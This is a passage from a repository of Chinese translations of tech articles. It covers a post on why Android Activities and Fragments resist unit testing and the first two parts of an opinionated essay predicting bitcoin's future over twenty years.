java.lang.NullPointerException at com.google.samples.apps.iosched.session.SessionDetailFragment.initPresenter(SessionDetailFragment.java:260) at com.google.samples.apps.iosched.session.SessionDetailFragment.onActivityCreated(SessionDetailFragment.java:177) at com.google.samples.apps.iosched.session.SessionDetailFragmentTest.displayDataOnlyProvidesAddRemoveSessionAffordanceIfSessionIsNotKeynote(SessionDetailFragmentTest.java:20) ``` 这一次,这个抱怨基本上可以归结于 `getActivity()` 返回 null。现在,我们也许会调用 `onAttach` 并传入一个哑 `Activity` 来避免这种情况。或者,我们也许会发现,哪怕我们这样做了,也还要做很多别的事来设置这个测试。这些事情**和我们感兴趣的内容没有任何关系**。 到这一步,我们也许会放弃,并选择 roboelectric。[我曾经说过](https://www.philosophicalhacker.com/post/why-i-dont-use-roboletric/),我感觉使用 roboelectric 是一个错的选择。测试正试图告诉我们一些关于代码的事情。我们不需要修改我们测试的方式。我们需要修改编码的方式。 在放弃之前,先考虑一下正在发生的事情。我们对测试一小段行为感兴趣,但类设计的方式迫使我们关心很多**和我们测试的内容没有关系**的其他对象。这意味着我们的代码是低内聚的,我们的类有很多互相没有太大关系的方法和对象。这使得完成测试的设置步骤非常复杂;这也使得让我们的对象难以进入可以真正运行测试的状态。 据我们所知,低内聚并不只关于可测试性。低内聚的类难以理解和改变。这个我们尝试了但没有写出来的测试,印证了我们已经本能地知道的事情:超过 900 行的 `SessionDetailFragment` 是一个巨兽,它需要被重构。 也许更有争议的是,如果我们听从测试的建议,并首先把它们写出来,我认为我们将最终发现我们根本不需要一个 `Fragment` 。事实上,我认为,我们很少会发现 `Fragment` 是理想的用于实现功能的组件。一次只讨论一个观点吧。先完成这篇帖子。我们将会在合适的时间回到这个有趣的争论的。 ### 总结 ### 我们刚刚看见,为类写一个测试可以告诉我们:目标类是低内聚的。`SessionDetailFragment` 可能是一个特别明显的低内聚类的例子,但 TDD 可以帮助我们发现更加隐蔽的低内聚类。在本文中,目标类是一个 `Fragment`,但如果你坚持写一段时间的测试,你会发现同样的事情对 `Activity` 也成立。 在下一篇帖子中,我们将看一看测试的难度如何给我们提供新的见解:`SessionDetailFragment` 是高耦合的。我们将测试驱动同样的功能,并展示所得的设计是怎样高内聚和低耦合的。 ================================================ FILE: TODO/what-unit-tests-are-trying-to-tell-us-about-activities-pt1.md ================================================ > * 原文地址:[What Unit Tests are Trying to Tell us about Activities: Pt. 1](https://www.philosophicalhacker.com/post/what-unit-tests-are-trying-to-tell-us-about-activities-pt1/) > * 原文作者:[Philosophical Hacker](https://www.philosophicalhacker.com) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者: [tanglie1993](https://github.com/tanglie1993) > * 校对者:[yunshuipiao](https://github.com/yunshuipiao), [skyar2009](https://github.com/skyar2009) ![](https://www.philosophicalhacker.com/images/broken-brick.jpg) # 单元测试试图告诉我们关于 Activity 的什么事情:第一部分 `Activity` 和 `Fragment`,可能是因为一些[奇怪的历史巧合](/post/why-android-testing-is-so-hard-historical-edition/),从 Android 推出之时起就被视为构建 Android 应用的**最佳**构件。我们把这种想法——`Activity` 和 `Fragment` 是应用的最佳构件——称为“android-centric”架构。 本系列博文是关于 android-centric 架构的可测试性和其它问题之间的联系的,而这些问题正导致 Android 开发者们排斥这种架构。这些博文也涉及单元测试怎样试图告诉我们:`Activity` 和 `Fragment` 不是应用的最佳构件,因为它们迫使我们写出**高耦合**和**低内聚**的代码。 在本系列文章的第一部分,我想介绍一点 android-centric 架构之所以统治了这么久的原因。另外,我认为单元测试可以为摒弃 android-centric 架构提供有价值的见解。我在第一部分中也将提供一点与之相关的背景。 ### 什么是 Android-Centric 架构? 在 android-centric 架构中,用户看见的每一个屏幕都**最终**基于一个主要用于和 Android 操作系统交互的类。我们接下来将发现,Diane Hackborne 和 Chet Haase 最近都表示 `Activity` 就是这样的类。因为 `Fragment` 和 `Activity` 非常相似,我认为一个每个屏幕都基于 `Fragment` 的应用也属于 android-centric 架构,哪怕这个应用只有一个 `Activity`。 目前,MVP 和 VIPER 和 RIBLETS 等在 Android 社区中都很火。然而,这些建议并不**必然**完全排斥 android-centric 架构。虽然可能涉及 `Presenter` 或 `Interactors` 或其它的东西,这些对象仍是被建筑在 `Activity` 或 `Fragment` 之上的;它们仍然可以被 android-centric 组件实例化或者被委派给这些组件,每个组件对应一个用户看见的屏幕。 一个不遵循 android-centric 架构的应用有一个 `Activity` 并且没有 `Fragment`。Router 和 Controller 类型的类都是 POJOs。 ### 为什么是 Android-Centric 架构? 我怀疑我们采用 android-centric 架构的一部分原因是 Google 直到不久以前才搞清楚 `Activity` 和 `Fragment` 是什么。在比 Android 文档更不正规和更不明显的渠道中,[Chet Haase](https://medium.com/google-developers/developing-for-android-vii-the-rules-framework-concerns-d0210e52eee3#.1o25pxfat) 和 [Diane Hackborne](https://plus.google.com/+DianneHackborn/posts/FXCCYxepsDU) 都表示 `Activity` 并不是人们想要用来构建应用的东西。 Hackborne 是这样说的: > …从它的 Java 语言 API 和相当高层的概念来看,它像是一个典型的应用框架,用于指示应用应当如何工作。但就大部分情况而言,它不是。 > > 大概把 Android API 称为“系统框架”会更合适。大多数情况下,我们提供的平台 API 是用于定义一个应用如何与操作系统互动的;但对于任何从纯粹在应用内部运行的东西而言,这些 API 和它并没有什么关系。 而 Haase 是这样说的: > 应用组件(activities, services, providers, receivers)是用于和操作系统互动的接口;不推荐把它们作为架构整个应用的核心。 Hackborne 和 Haase 几乎明确地反对 android-centric 架构。我说“几乎”,因为看起来他们并不反对把 `Fragment` 作为我们应用的构件。然而,尽管“ `Activity` 不是应用的合适组件”和“ `Fragment` 是应用的合适组件”两种观点之间存在着冲突,这两种组件仍然是有很多共同点的。 似乎可以说:Google 通过以前的 [Google I/O 应用样例](https://github.com/google/iosched) 和官方文档建议人们使用 android-centric 架构。Android 文档的“应用组件”一节是一个很好的例子。 [本节介绍](https://developer.android.com/guide/components/index.html) 告诉读者,他们将会学到“如何建造构成你的应用的**基本组件**(包括 `Activity` 和 `Fragment`)”。 在过去几年中,很多 Android 开发者 —— 包括我自己 —— 开始意识到 `Activity` 和 `Fragment` 通常并不是他们应用的有用的构件。包括 [Square](https://medium.com/square-corner-blog/advocating-against-android-fragments-81fd0b462c97),[Lyft](https://eng.lyft.com/building-single-activity-apps-using-scoop-763d4271b41#.mshtjz99n) 和 [Uber](https://eng.uber.com/new-rider-app/) 在内的一些公司都正在远离 android-centric 架构。两种常见的抱怨是:随着应用不断变得更加复杂,代码变得**难以理解**以及**在处理多种用例时过于死板**。 ### 测试和它有什么关系? *Growing Object Oriented Software Guided by Tests* 中的内容很好地解释了可测试性和容易理解、灵活的代码之间的关系: > 要想让一个类易于单元测试,这个类必须低耦合高内聚 —— 换句话说,设计得好。 耦合和内聚直接影响了你的代码的可读性和灵活性。所以如果这句话是对的而且 `Activity` 和 `Fragment` 很难进行单元测试(即使你没有看过[我的](/post/why-we-should-stop-putting-logic-in-activities/) [帖子](https://www.philosophicalhacker.com/2015/04/17/why-android-unit-testing-is-so-hard-pt-1/) 也很可能知道这一点),那么单元测试就可以告诉我们 `Activity` 和 `Fragment` 并不是理想的用于构建应用的组件。这样,我们就可以在 Google 告诉我们之前,也在痛苦的开发经验之前,发现这个结论。 ### 下一次… 在下一篇帖子中,我将尝试对 `Activity` 写一个测试。这个测试将会失败,以显示低内聚高耦合的 `Activity` 使测试变得多么困难。接下来,我将用测试驱动同一个功能的实现,最终得到可测试的代码。在接下来的帖子中,我将说明所得到的代码是高内聚低耦合的,并讨论其带来的一些好处 —— 如何对 Android 常见问题提出新的解决办法,比如运行时权限,不稳定的连接等。 ================================================ FILE: TODO/what-will-bitcoin-look-like-in-twenty-years-1.md ================================================ > * 原文地址:[What Will Bitcoin Look Like in Twenty Years? - Part 1](https://hackernoon.com/what-will-bitcoin-look-like-in-twenty-years-7e75481a798c) > * 原文作者:[Daniel Jeffries](https://hackernoon.com/@dan.jeffries?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-1.md) > * 译者:[ZiXYu](https://github.com/ZiXYu) > * 校对者:[Raoul1996](https://github.com/Raoul1996) [atuooo](https://github.com/atuooo) - [What Will Bitcoin Look Like in Twenty Years? - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-1.md) - [What Will Bitcoin Look Like in Twenty Years? - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-2.md) - [What Will Bitcoin Look Like in Twenty Years? - Part 3](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-3.md) # 20 年后比特币将会变成什么样 - 第一部分 ![](https://cdn-images-1.medium.com/max/2000/1*9cntgSCQQES9fogbSwWIoQ.jpeg) 预测向来是一件很棘手的事。 预测错误很容易,但想预测对就太难了。 但这正是我们将要做的事。**随着比特币的白皮书发布十周年即将来临,我将尝试着去展望 20 年后比特币、区块链、其它的数字加密货币和去中心化的发展情况。** 这种类型的文章是那种很多年后看,要么是令人难以置信的愚蠢要么就是令人难以置信的卓越。 可是我并不在乎,因此我仍然要把它写下来。 同时,我也将分析得比“比特币将会清零”或者“比特币将变成储备货币,价值一百万美元”更深入得多。这真的并不是说每个人都能做到的。 相反,我们将着眼于科技如何转变,同时社会将随着它如何转变。 我曾经写过一篇不错的[未来趋势和科技成功预测的跟踪记录](https://hackernoon.com/steal-this-idea-and-make-a-billion-dollars-ai-video-game-accelerator-cards-cf5f09fd84e8),但是没有人做到 100% 正确。有史以来最伟大的科幻作家之一亚瑟·C·克莱克 (C. Clarke),预见了[卫星和 GPS](https://gizmodo.com/5597169/arthur-c-clarke-wrote-a-letter-predicting-gps-and-satellite-tv-in-1956)的出现,同时也预见了[云计算、互联网和远程办公](https://www.wired.com/2013/03/tech-time-warp-arthur-c-clarke/),但是他也承认了他过高的估计了火箭的重要性,并忽略了一家公司送给他用来写下一步小说的样板笔记本电脑的重要性。 ![](https://cdn-images-1.medium.com/max/600/1*atKKENKEpjOeoEodiqmIlQ.jpeg) **卡俄斯-混沌**由[洛伦佐·洛托](https://en.wikipedia.org/wiki/Lorenzo_Lotto "Lorenzo Lotto")(Lorenzo Lotto)设计,目前存放于自意大利[贝加莫](https://en.wikipedia.org/wiki/Santa_Maria_Maggiore,_Bergamo "Santa Maria Maggiore, Bergamo")的[圣母玛利亚教堂](https://en.wikipedia.org/wiki/Bergamo "Bergamo")。 混沌理论告诉了我们预测未来是不可能的。 但这也不是完全正确的。 我们的确预测不了[黑天鹅事件](http://www.investopedia.com/terms/b/blackswan.asp)或者完全意料不到的科技(就像尝试向一个 18 世纪的农民解释什么叫电脑和网络),但是我们可以对明天做一些类似于[蒙特卡洛计算](https://medium.com/applied-data-science/alphago-zero-explained-in-one-diagram-365f5abf67e0)然后来观察主要的发展途径向无尽延伸的轨迹。 很少有人能把它做好。 事实上,在提出我们的预测之前,绝大多数的人眼中预测的未来都是错到令人发笑的,我们需要知道为什么会导致这种现象来规避犯同样的错误。 ### 这个互联网的问题永远不会被解决 人们对于未来有如此误解的第一个原因是,**他们在形成对某件事物的观点前只花了五分钟来了解它。** 这并不能谓之思考。 ![](https://cdn-images-1.medium.com/max/600/1*mqWuBxoBp30DSZE3K5Az1w.jpeg) 霍默(译者注:辛普森一家中的 Homer)的大脑。 这是一种精神启发式的[原始蜥蜴大脑](https://www.psychologytoday.com/blog/where-addiction-meets-your-brain/201404/your-lizard-brain),永远无法理解任何新颖的事物和小说。它只擅长攻击、防守、寻找事物和避难所同时避免无聊。它只不过是一个生存机器。 不幸的是,很多人在他们几乎整个生命中都保持在这个思想水平上,当在思考未来的趋势和发展时,他们的想法没有任何价值。 **第二个主要原因是未来可能会颠覆他们对世界的理解。**想想一个类似于柯达的公司,[他们只是简单的拒绝去接受数字胶片的能力](http://mashable.com/2012/01/20/kodak-digital-missteps/#nAgI.6uueiq7),因为他们已经在化学胶片上花费了超过一百年来建立了一个商业帝国。他们拥有一切优势,但是却失败了。他们错误的把过去当做了未来,所以当市场呼啸而过时,他们付出了破产如此惨痛的代价。**要预测未来,你必须能够立于自身之外,忘记你过往的成功同时展望你当前理解之外的事。** 第三个主要原因是**未来挑战了他们所拥有的权力地位**。这就是为什么[寡头银行家杰米·戴蒙](https://www.cnbc.com/2017/09/12/jpmorgan-ceo-jamie-dimon-raises-flag-on-trading-revenue-sees-20-percent-fall-for-the-third-quarter.html)和一个[上个月刚刚允许女性驾驶汽车的国家王子](https://stepfeed.com/saudi-prince-alwaleed-suggests-bitcoin-is-a-fraud-9965),都把比特币和数字加密货币看做是一种“欺诈”或“骗局”。 他们的确无法清晰的看待这个问题,因为他们就是当前货币系统的主要受益人。他们_拒绝_接受。所以他们发起了一系列信息战争,甚至是无意识的。这不过是一种精神防御机制。管理世界的新机制崛起意味着他们的地位正在遭受威胁,而他们感到害怕。 **跟这些人讨论比特币就像问一个出租车司机对 Uber 的看法,或者问一个马车制造商对汽车的看法。他们的意见是没有任何参考价值的。** 第四个主要原因是**人们提出预测的时候往往错误的把自己的观点当做了现实**。你眼中的世界和真实的世界往往不是同一件事。一个是地图而另一个是实际的领土。不要错把地图当做了领土。 参考这篇现在[并不著名的1995 年由克利福德·托尔斯(Cliford Stoll)在新闻周刊(Newsweek)发布的文章表示互联网是一个彻头彻尾的失败](https://thenextweb.com/shareables/2010/02/27/newsweek-1995-buy-books-newspapers-straight-intenet-uh/)即将面临崩溃。斯托尔写道: > “有远见的人看到了远程办公,互动图书馆和多媒体教室的未来。他们在谈论电子镇会议和虚拟社区。贸易和商业将从办公室和商场转移到互联网和调制解调器上。而数字网络的高自由度也让政府变得更加民主。**Baloney。** ” [强调我的] ![](https://cdn-images-1.medium.com/max/600/1*PYrosZSb4J7IlZt2iisTiw.jpeg) 克利福德·托尔斯:在柏拉图的洞穴隐喻中,我只能看到自己想法的影子。 读读这段引用的话,不因为巨大的优越感而开怀大笑是不可能的事。真是个傻瓜!谁看不到互联网时代即将到来? 答案是:几乎没有人。 事后是 20/20。 我敢打赌几乎每个看不到互联网时代到来的人都会大声嘲笑这个可怜人,甚至如果他们一开始就知道互联网到底是什么。如果他们这么做了,他们基本上肯定也看不到维基百科的工作,远程办公的兴起和他们将会在亚马逊上买包括书本到杂货所有东西的那一天。 事实上上面这段引用最引人注目的地方,不是它有**多不正确**,而是它在很多层面上有**多么正确**。 这就对了。 读这篇文章的时候,你会发现他的很多观点是令人难以置信的! 如果你回头看看并分析托尔斯的所有观点,呈现出来的一副有关互联网此后二十年发展令人难以置信而清晰的画卷。看看这个: > “尼古拉斯·尼葛洛庞帝(Nicholas Negroponte),MIT 多媒体实验室的导师,预测在很短的时间内我们就将直接从互联网购买书和报纸。” 天空飘来三个字: “呃,当然。” **斯托尔看到了未来,但是他拒绝去接受。**如果他设法走出他自己的观点并只观察而不是解释或者过滤他所见的,那么他写的那篇文章就会成为世上最前瞻且最准确的一篇预测文章。这就引出了下一个原因。 第五个原因是**完全缺乏耐心**。 在斯托尔文章的开头,他写道: > “在互联网上线的二十年之后,我感到困惑。” 斯托尔已经活过了有互联网的二十年,但是它只是没有如他所期望的一般发展。这很容易想到,这些事情在之后的二十年里也不会发生。 等待是最难的部分。让事情自然地发展更需要耐心。 **耐心,耐心,耐心。** 创造力需要挫败和失败以及巨大的坚韧。一旦你把自己的想法暴露在充满了腐蚀、重力和摩擦的现实里,事情往往会崩溃。没有一个计划能在联系敌对方后幸存。现实是个磨刀石,要么粉碎你的想法,要么磨砺你的想法。 **事情需要时间。** [George de Mestral,魔术贴的发明者](https://en.wikipedia.org/wiki/George_de_Mestral),展现了一个真实创造过程的经典案例和这个过程所需要花费的时间。 在 1941 年,他带着狗在树林中散步,发现有一堆小木刺黏在了他的皮肤上,因此他有了这个想法。但是之后七年,这个想法并没有完全根植在他脑海里。1948 年他才开始重新创造小钩子,然后又花费了他十年的时间来实现这个想法并批量生产这个产品。 在五十世纪后期他创立了他的公司后,他期望能有一个市场直接给他一个超高的需求反馈。 可这并没有发生。 ![](https://cdn-images-1.medium.com/max/600/1*or-pwzRKL_XVU7dx78vYUw.jpeg) 在二十世纪六十年代,它又花了五年的时间在新兴太空计划中将魔术贴作为了一个解决宇航员在庞大而笨重的宇航服中进出的解决方案。剩余的_世界只关注了魔术贴可以为他们解决某个问题_而并不会关注到问题背后的想法和意识形态。很快,滑雪产业就注意到了它,并把它应用在了滑雪靴上。 总而言之,从最初的想法到可运作能盈利的业务? 大约有 25 年内的时间。 最后,在我提出对加密货币的预测之前,我们可以从斯托尔身上学到更多的一个教训。 **他最大的错误也是最后一个错误是人们对未来一无所知。他采取了现在的发明,将它们推进并把它们想象成未来为题的解决方案。大错特错!** 当前的发明是为了解决当前的问题。未来的问题将会有全新的解决方案。 斯托尔在文章中提到 电子书永远都无法取代真实的书本。他是对的,在一个蹩脚的 CRT 屏幕上折磨自己的视网膜是个惨痛的经历。**但是理解可以帮我们理解未来解决方案的重要特征。** **要了解这些解决方案将采取何种形式是不可能的,但是我们可以找到未来解决方案的特征,**以此来分辨它。 让我们来看看它是如何工作的: CD 很笨重。当时的显示器很笨重而且难以阅读。会损伤眼睛。电脑很大难以携带。甚至笔记本电脑也是一块会压断你腿的板砖,没人愿意在这样的机器上读东西。 但是他同样没有考虑到实体书的短处。 实体书也很重。它们是用树木制成的!它们很容易就因为种种原因被损坏或者遗失。在能够携带更巨大的重量之前,你只能携带这么多东西。 从这里我们看到一个好的解决方案应该具有的特性有: - 超级便携和轻量。 - 清晰的显示。 - 对用户完全隐藏数据存储。 - 像一本书一样容易使用。只要打开然后阅读。 - 能够在遗失或损坏的时候保护数据,我们可以恢复数据而不用重新购买。 - 允许用户在同一时间携带很多本书。 ![](https://cdn-images-1.medium.com/max/600/1*_7YYhBGDeZ9T5v6Zj4sLmQ.jpeg) [The Kindle](http://amzn.to/2ygQ92Z) 提高了阅读体验甚至增加了防水功能,比传统书本更加好。新的解决方案**必须提供同样的特性加上新增的更好的特性**来取代它。 当然我们现在知道了答案:Kindle 和 iPad。 它们都很易用,完全隐藏了存储介质,保护了备份数据同时它们也能保护眼睛。 **解决方案都从认识缺陷的地方开始,对如何解决提出正确的问题,同时正确的定义我们需要什么属性来获得更好的体验。** 从以上的分析可知,我们有三个法则来帮助我们预测未来: 1. **耐心。** 2. **观察,而不是打扰。** 3. **不要把今天的解决方案嫁接到未来的问题上。** 好的,那么让我们打破水晶球,来看看比特币和加密货币的命运吧。 希望我们能比斯托尔运气好点,这篇文章也不要被明天的某某人评论为傻瓜。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/what-will-bitcoin-look-like-in-twenty-years-2.md ================================================ > * 原文地址:[What Will Bitcoin Look Like in Twenty Years? - Part 2](https://hackernoon.com/what-will-bitcoin-look-like-in-twenty-years-7e75481a798c) > * 原文作者:[Daniel Jeffries](https://hackernoon.com/@dan.jeffries?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-2.md) > * 译者:[pcdack](https://github.com/pcdack) > * 校对者:[Raoul1996](https://github.com/Raoul1996), [foxxnuaa](https://github.com/foxxnuaa) - [What Will Bitcoin Look Like in Twenty Years? - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-1.md) - [What Will Bitcoin Look Like in Twenty Years? - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-2.md) - [What Will Bitcoin Look Like in Twenty Years? - Part 3](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-3.md) # 二十年后比特币会变成什么样? — 第二部分 ![](https://cdn-images-1.medium.com/max/2000/1*9cntgSCQQES9fogbSwWIoQ.jpeg) **二十年后比特币会变成什么样? — 第一部分请见:** https://juejin.im/post/5a1e9c2d6fb9a044fa19a036 ### 比特币,加密技术和去中心化技术的兴起 我们将从一些简单的预测开始,并逐渐的进行一些更加复杂的和遥不可及的预测以及一些对这些预测严肃的讨论。 我也将包括一个信心表,让你们知道,对于这种预测场景能发生我有多么强烈的感觉。 ### 1)泡沫破裂 经常关注加密技术的一群人把它看做泡沫,迟早会破裂,造成价格崩溃。 **他们是对的** **但是那又怎样?** **这不是故事的结束,恰恰相反,这是故事的开始。** ![](https://cdn-images-1.medium.com/max/600/1*kwdBoz8WFuqp5Q61nQk5_g.jpeg) 现在,我们正沉浸在比特币收益带来巨大的快感中。这里有很多潜在的风险。我们几乎可以预测分布式技术的未来。近在咫尺!每一天都有可能发生。 当然,毫无疑问,泡沫的破裂并不能解决问题。 **泡沫将会破裂** [**Vitalik 是对的。90%的代币将失败**](https://coinjournal.net/vitalik-buterin-90-icos-will-fail/)**。 但是,泡沫破裂以后区块链技术才能真正有用。 ![](https://cdn-images-1.medium.com/max/600/1*GDW2WTPat06YRs5uNxxiEQ.jpeg) **在秘密实验的8年里,每个人都在通向未来的铁轨上工作(每个人都在研究未来的道路),但是我们没有太多东西可以拿出来展示,除了投机交易和一些智能合约。**用这种技术做成应用程序是十分可怕的,并且几乎无法使用。 你需要很大勇气去通过网络“发送”$5000给某个人。最好祈祷你的复制,粘贴的地址是正确的,这才能保证你的钱才不会消失! 彼时互联网泡沫破灭的时候,很多今天的巨头公司经历了股价蒸发85%。它们幸存下来了,并且等到了最好的时候。Amazon 和 Google 支配了全世界。 **加密技术也会是同样的情况** **有10%的项目通过市场的洗礼,将会变成明天的亚马逊,谷歌和 Facebook,甚至可能是摩根大通和高盛,更不用说甚至是未来的政府,譬如数字民主,或者液态民主。** 创新是一项艰难的工作。你正在试图创造一个理论存在,而真实不存在的东西! 这里没有指南,没有模板,没有业务逻辑可以克隆。什么也没有。你只有你自己!这里仅仅有你和你的想象。有这么奇怪的特性,难怪有90%的人和公司会失败了! 不过这不是问题。 [**加密,区块链和三式记账法可能是过去500年来最重要的发明**](https://hackernoon.com/why-everyone-missed-the-most-important-invention-in-the-last-500-years-c90b0151c169)**所以它们不会温柔地进入那个美好的夜晚。(这里形容过程曲折)** 泡沫破裂是下一步。三年后,这个技术才会真正的成熟然后高速发展。 ### 2)政府的加密货币将繁荣 社区不喜欢这一点,但这是不容置疑的。 ![](https://cdn-images-1.medium.com/max/600/1*kwdBoz8WFuqp5Q61nQk5_g.jpeg) **很多政府将不会坐视不管,如果不进行恶意斗争就会丧失对供应货币的控制能力。任何正在从事这方面工作的人应该预测对区块加密技术协议级的攻击,并针对这些攻击进行设计防御措施。** 分布式,去中心化的 DDoS 防御手段,像 [**Gladius**](http://gladius.io) 是很好的起步,但是这里仍然有很多事情要做。我们将讨论一些额外的防御手段,就是当协议变革的时候,我们的加密技术能够幸存下来。 从长远来看,政府将会输掉这场战争,可能会在 30 到 100 年之间(也许更快,取决于战争或金融危机的爆发次数)。这让我们将在这场比赛中幸存下来,不要用核弹炸自己,把它送到太空去。但是,在未来的 10 年或 20 年里,预计会出现一个非常强大的政府加密货币,并支配着世界上许多人(如果不是大多数的话)的资金流动。 "但是没人会接受它们!"加密技术忠实的呐喊! 当然,它们将被人们采用。 普通人并不理解加密货币真正重要的事情,并且他们也完全不需要隐私和安全,直到在很极端的情况下,像战争,剥夺了他们的身体。当士兵入侵了你的房子,并拿走了你的一切,那瞬间隐私的需求就变得非常真实。 记得斯诺登在 John Oliver 的脱口秀中对政府监控的采访吗? 看看斯诺登的表情,他意识到街上的普通人一点也不关心他们自己的隐私!他们只关心自己的私处(dick)照片是否被存到政府的硬盘里。 人们会像善良的小绵羊一样,毫不犹豫地采用政府的加密货币。甚至,他们认为这绝对是一件十分正确的事情,如果被告知是绝对正确的话,他们甚至愿意为此而杀人! 当然,在很多方面政府会说加密货币是可笑的,正如 Naval Ravikant 在史诗般的区块链 tweetstorm 中指出: ![XEX0H$32R3VWLS%2DVUWU.png](https://i.loli.net/2017/11/07/5a0161a24d8f7.png) **根本是无稽之谈,因为区块链的目的是通过系统分配权力。**通过不允许单个组织任意地控制或更改规则,**去中心化加密技术和应用程序提供了一套强大的检查和平衡机制,以防止对系统的有害操作。** 当五个不同的银行拥有区块链时,这不是区块链,而是一个数据库。 只有当银行,监管机构,股东和客户同时拥有区块链的钥匙,才能抵消彼此的力量,才是真正的区块链。 **对权利的检查和平衡才是真正的要点!** 政府加密货币的想法简直是腐败透顶。 但是这不重要。他们会做到这一点而不折手段。 事实上,他们不是分散权力,看起来而是在进一步集权,让自己有能力不费吹灰之力跟踪每一个公民的支出,并自动从工资和销售货物和服务中征税。这就是为什么独裁政府正在竞相建立官方的加密货币。他们迫不及待要尽快在你的口袋里放置全景图(获取所有你支付细节和过程,微信?支付宝?可怕)。** 他们将绝对会取缔实物现金,他们会以三个借口之一的幌子来做: * 防止洗钱 * 防止恐怖袭击 * 防止犯罪 当然,知道你在亚马逊上花了一半的工资,杂货和房租与这些东西没有任何关系,但是嘿,如果你抛出了上述任何一个或所有的原因,你可以很容易地让其他人做你想要所做的一切,甚至更好的情况是,他们会全心全意相信。 ![](https://cdn-images-1.medium.com/max/600/1*etJecOqa4iPT5GpdrDtEng.jpeg) 记住美国心理学家[古斯塔夫•吉尔伯特(Gustave Gilbert)在纽伦堡审判期间与纳粹赫尔曼•戈林(Neri Hermann Goering)的谈话?](https://en.wikiquote.org/wiki/Hermann_G%C3%B6ring)?戈林告诉他,大多数人会毫不犹豫地跟相信他们的领导人所说的,无论是民主还是法西斯独裁。 Gilber 天真地回答说:"有一个区别。在一个民主国家,人民通过他们的民选代表就可以发言,而在美国,只有国会可以宣战。" 但是,戈林只是笑了起来,说:"哦,这是很好的,但是,选举或者没有选举,**人们总是可以被领导说服。这很容易。你所要做的就是告诉他们,他们将要遭到袭击,并谴责和平主义者缺乏爱国主义,使国家面临危险。 它在任何国家都很有效。**” 政府的加密货币,对于对加密技术执着的人来说,将是一个非常痛苦的药丸,但是,这些执着的人会很好的尝试习惯它们。 一个更好的选择是假设会有去中心化和中心化加密的混合系统,并且为了避免在金融海啸中被吞没而设计它。最好是用区块链技术接受现有的系统,然后将它从内部覆盖,而不是忽略它,这样就会变得很难对付。 ### 3)去中心化加密货币将变成地球上的一个平行的经济操作系统 仅仅因为中心化密码技术体现了突出优势,并不意味着去中心化密码技术将会消失。哦,很多国家的政府都会去尝试,但最后他们还是不能把它们剔除出去。原因很简单。 ![](https://cdn-images-1.medium.com/max/600/1*SauOTxerkM449xCtL2aBtQ.jpeg) **共同的因素是关于区块链技术这很难达到共识,这使全世界的政府很难在任何事情上同意。**他们将无法做到这一点。有些政府会热爱去中心化式技术,其他政府会讨厌去中心化技术。 甚至有一些政府明令禁止这项技术,很多其他国家将**拥抱分布式加密货币,特别是上个世纪以来遭受欧元和美元控制的国家们。** 到目前为止,我看到一些拉丁美洲国家,以及像新加坡那样自由放任的全球化主义者,以及历史悠久拥有很多银行家的瑞士以及许多亚洲和非洲国家张开双臂欢迎去中心化加密技术。 如果所有的国家都不同意,那么去中心化加密技术将走不长远,那么中心化的加密技术就会大行其道。 但为了保持相关性,去中心化密码技术需要快速转移。它们需要一个杀手级应用程序。现在它们很容易受到攻击。为了真正扎根到日常生活中,它们需要杀手级的应用程序,使它们在全球范围内进行病毒式的传播。它必须是不可或缺的东西,人们不能想象没有它的生活。这将使现有的强大参与者进入系统,然后他们将使用该力量来抵御来自外部力量的攻击。 我的文章中概述了可能会发生的一些分配货币的方法。但这只是其中一种方式。还有很多很多,如果你现在在一个平台上工作,那么要知道,在中心化密码生根之前,这是一场与时间赛跑的比赛。 ### 4)加密技术的杀手锏应用程序不是一个浏览器 ![](https://cdn-images-1.medium.com/max/600/1*SauOTxerkM449xCtL2aBtQ.jpeg) 这是一个老的发明创造移植到新系统中的典型例子。[** Brave 浏览器**](https://brave.com/)是很棒,并且我打赌,我将十分喜欢用它作为 [**BAT**](https://basicattentiontoken.org/) (注:Basic Attention Token)的搭配产品或者一个**通用的支付系统,这个系统**[**自动交换加密货币**](https://themerkle.com/what-is-an-atomic-swap/)不需要任何的手动交换,但是我并不认为这是接入区块链的最终接口。我认为它只是一个潜在的过渡工具。 因此,杀手级的应用程序会张什么样子的? 我不知道。 但是我知道这些: * **普世性** * **方便使用** * 作为一个平台,包含从换币拿到票据到保护隐私和信息的一切行为。 * **开源** 它应该也是完全新的,原创的,具有很好的扩张性这也是区块链的最佳特征,同时能够最大程度上减少它的弱点。 也许分布式AI助手或关注点过滤器?无穷的可能性,所以行动起来吧! ### 5)区块链技术仅仅是去中心化技术的开始 区块链系统仅仅是去中心化共识机制第一个应用成功的技术。 